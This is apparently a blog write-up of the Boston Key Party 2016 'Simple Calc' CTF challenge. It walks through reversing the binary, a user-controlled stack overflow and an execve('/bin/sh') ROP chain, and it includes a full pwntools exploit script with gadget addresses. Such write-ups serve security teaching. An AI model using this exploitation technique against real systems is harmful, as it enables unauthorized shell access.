Home Boston Key Part 2016 Simple Calc
Post
Cancel

Boston Key Part 2016 Simple Calc

Let’s start reversing it with the main function first we see that a value is taken which is stored in the no_loops variable ( Int )  then it is used to create a loop, used as a size for allocating memory on the heap, and also use to control how much memory is to be copied from  heap to stack  then input is taken from user to select what type of function is to be executed (1. addition, 2. subtraction, 3. multiplication, 4. division and 5. copy memory from heap to stack ) after the loop is completely free is used to free up heap memory and program exits

image_1

Add function

In Add function, we can see that it takes 2 input and then store it in a global variable and then check if it is greater than 39 then it will add two values and store them in a third global variable, and then the exit function and if it is smaller than 39 than prints a msg and exit without doing anything

image_2

Rest of the function doing as the name suggests sub,mul, and divide but with the same restrictions as add function (check the value if its greater than 39)

Now we have a general view of the program let’s start working on getting shell

The first vuln I can find is that the stack has limited space ( 40 bytes ) and the number of bytes to be copied is controlled by the user

no_loops is controlled by user

img_3

Now its time to fill the heap with values like its stack (because it will be placed on the stack ) for that we see that after the calculation function ( add, sub, mul, div) we can see that the global value is placed on the heap every time on a different address (because of for_loop multiplying by the address which is incrementing the address value )

Now its time to start working on the exploit first we start by padding . One important thing we will do is overwrite the heap pointer which will be used by the free function to free memory to bypass we will add that variable with “zero” so the free function closes without error and rest of padding till we control instruction pointer rest of is simple creating rope chain.

Now for rop chain our goal is to get shell so we can use sys_execv syscall (man execv ) to call “/bin/sh” for that we have to put the string “/bin/sh” in memory then put the memory pointer to rsi register we can put “0x0” in rest of register (rdi,rdx) and then put “0x3b” (which is number of sys_execv)   in rax and call syscall rop gadget and  u got a shell on the system (THis was the second-best challenge after sandbox escape )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/python3

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''
break *main+518
continue
'''.format(**locals())

# break *0x0000000000401545



exe = "./simplecalc" ; elf = context.binary=ELF(exe,checksec=False)

rop= ROP(exe,checksec=False)

def menu(menu_no,menu_x,menu_y):
    io.sendlineafter(b"=>",menu_no)
    io.sendlineafter(b"Integer x: ",menu_x)
    io.sendlineafter(b"Integer y: ",menu_y)
    io.recvline()

def zero ():
    menu(b"2",b"2000",b"2000")

def format_f(fromat_value):
    x = int(fromat_value) - 50000
    menu(b"1",str(x),b"50000")
    zero()

def padd ():
    for x in range(18):
        zero()

#### ROP #############
mov_ptr_rax_rdx_ret = 0x000000000044526e # mov qword ptr [rax], rdx; ret; 
pop_rdi = 0x0000000000401b73
pop_rdx = 0x0000000000437a85
pop_rax = 0x000000000044db34
pop_rsi = 0x0000000000401c87
syscall = 0x00000000004648e5
bin_var = 0x6e69622f
sh_var = 0x68732f


######################


io = start ()

io.sendlineafter(b"Expected number of calculations: ",b"150")

padd ()
format_f(pop_rdx)
format_f(bin_var)
format_f(pop_rax)
format_f(0x6c0008)
format_f(mov_ptr_rax_rdx_ret)
format_f(pop_rax)
format_f(0x6c000c)
format_f(pop_rdx)
format_f(sh_var)
format_f(mov_ptr_rax_rdx_ret)
format_f(pop_rdi)
format_f(0x6c0008)
format_f(pop_rsi)
format_f(0x0)
format_f(pop_rdx)
format_f(0x0)
format_f(pop_rax)
format_f(0x3b)
format_f(syscall)


io.sendlineafter(b"=>",b"5")
io.interactive()

asciicast

This post is licensed under CC BY 4.0 by the author.